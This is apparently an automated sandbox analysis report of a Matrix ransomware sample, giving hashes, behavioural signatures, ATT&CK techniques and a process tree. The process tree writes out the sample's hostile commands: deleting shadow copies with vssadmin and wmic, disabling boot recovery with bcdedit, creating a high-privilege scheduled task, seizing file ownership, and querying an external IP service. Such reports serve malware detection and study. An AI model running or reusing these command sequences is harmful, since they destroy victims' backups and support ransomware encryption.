Analysis
-
max time kernel
149s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
27-12-2022 10:51
General
-
Target
2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe
-
Size
610KB
-
MD5
1c73c307773fedfccd544a6b6b0b55b9
-
SHA1
899ffd934e0b8a6df4b115c49df33fca524e2135
-
SHA256
2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376
-
SHA512
049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d
-
SSDEEP
12288:mT9zGQU31phksyH0F8eHSE3BGAFTT/OAchocfoOG6FTvcDldnozRpXFqOO:mRyQUlGuLSE3BGAF//xlcfoO/IDr6FqO
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 3 IoCs
-
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
-
Sets service image path in registry 2 TTPs 1 IoCs
-
UPX packed file 11 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 29 IoCs
-
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious behavior: EnumeratesProcesses 11 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 49 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe"C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe"1⤵
- Matrix Ransomware
- Modifies extensions of user files
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\2e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376.exe" "C:\Users\Admin\AppData\Local\Temp\NWMY6LFL.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\NWMY6LFL.exe"C:\Users\Admin\AppData\Local\Temp\NWMY6LFL.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\Lc6EmwnL.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Ya36OI6q.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Ya36OI6q.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\e72C0IsG.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\e72C0IsG.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\djeHzxuf.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\djeHzxuf.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ImKOSADP.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\attrib.exeattrib -R -A -S "C:\ProgramData\USOPrivate\UpdateStore\store.db"3⤵
- Views/modifies file attributes
-
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c I8mlgyE3.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8mlgyE3.exeI8mlgyE3.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\I8mlgyE364.exeI8mlgyE3.exe -accepteula "store.db" -nobanner5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Sets service image path in registry
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\djeHzxuf.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet2⤵
- Interacts with shadow copies
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE2⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures2⤵
- Modifies boot configuration data using bcdedit
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Persistence
Hidden Files and Directories
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File Deletion
2File and Directory Permissions Modification
1Hidden Files and Directories
1Modify Registry
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5e0acf8f12bcce142fcabae93437fb489
SHA16f1841c606584adfbdf6591ddeaeffcb6a101bb5
SHA2568d98eb3b18a1ace92293cb42644bb28b55899abe65a8ea08022dbef27f3e3aaf
SHA512a89e0027e8d3c56d952ea9d47750024ee0173f9a57ef68ac7040bfbe3e6cb101c250564ad41f5968661b584218f5c7d56f67e558bd80052e41c721e9cc7b6412
-
Filesize
3KB
MD59a7607905e6e745575b4af1a83fe6c02
SHA1e9455e3657c3a9b53e1e08ef985705d306b9ec1c
SHA25609a291a13bdc6005eb27fe7c861f3872972ff7e2a5c34224beec56a57a4cbfe7
SHA512470bd3294b91a2b5d28527c96635b8cc10fbde9f6a901c4e01c55cc2a6e9e7c1f6343bd5f1d0fb378c67b58fbf88e943f0640d0ea9ff1d172610bde9428d66d8
-
Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
-
Filesize
181KB
MD52f5b509929165fc13ceab9393c3b911d
SHA1b016316132a6a277c5d8a4d7f3d6e2c769984052
SHA2560cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4
SHA512c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8
-
Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
-
Filesize
221KB
MD53026bc2448763d5a9862d864b97288ff
SHA17d93a18713ece2e7b93e453739ffd7ad0c646e9e
SHA2567adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec
SHA512d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6
-
Filesize
246B
MD5533f98627677013f6fa091b09d3110e9
SHA1fb8488ec88e2571ea1515bada0bd11ef0504f6aa
SHA25661c88bc96749108113a99f7fa21575610cf0be229bda9a1a599fca41a3a817d4
SHA5121c72c7801c7e652cd990258321e219f0ccdd75077ce87247e833abf8de13b3e0c1a383320cf25a500e361d75c8e1e04dd70c488a2a0212ce99b4e61d0a7ac2ab
-
Filesize
14B
MD58eb51985066cb0782077f624013d47a2
SHA10549d07d51454e73b937946ba1887cacfce71835
SHA2565537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44
SHA512539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5
-
Filesize
610KB
MD51c73c307773fedfccd544a6b6b0b55b9
SHA1899ffd934e0b8a6df4b115c49df33fca524e2135
SHA2562e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376
SHA512049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d
-
Filesize
610KB
MD51c73c307773fedfccd544a6b6b0b55b9
SHA1899ffd934e0b8a6df4b115c49df33fca524e2135
SHA2562e4c3ae32372bb1b189665e8e84c13bcc88e7f2c7459f71e075694fd3aaf8376
SHA512049211f9d07e3cca9f92dfb1bc2e0f6895586f9f36b2651ffb2de20f3573ba9d719aff27e67b996f4706852578e919810e3e6854eebf0aaff0d412d8cabc127d
-
Filesize
265B
MD53647e6be090553f9833a34a7814b5661
SHA1fda05d449bde89e9c6772259c34707f2edf8aabf
SHA2567407a01377956863e9fb0ab63959966d1b4e72d9dd986200bcae55278a764067
SHA512726a6065813ed9d3a910871174cb69c13f911fe9123c98eb01342ddc3ce1e191a3b9c51cc222906ae52ccddb9cb7040d106677bdf770e036e291f6acf7c0e7f4
-
Filesize
260B
MD5fc154126143cea281eae35ae3b785c1c
SHA1c07c1cbf87f2d8af721218f9fa02f8d60405c7bb
SHA2565f357ef001107da84cd3a115088795d66406c47ced8409ad4f238a506742422a
SHA512b9bd5e51f04f6f8eb9277b607b594eef0499ae94add317a9686b1b624d2cbd9387e7fe1264e0ab444b8ce71b64a38c83a7d75830d1b8f735db0de52a5f7fd60a
-
-
-
-
-
-
-
Filesize
476KB
-
Filesize
476KB
-
-
-
Filesize
104KB
-
Filesize
6.5MB
-
Filesize
136KB
-
Filesize
120KB
-
Filesize
408KB
-
Filesize
408KB
-
Filesize
6.2MB
-
Filesize
216KB
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
Filesize
1.5MB
-
Filesize
1.5MB
-
-
Filesize
1.5MB
-
Filesize
1.5MB
-
Filesize
1.5MB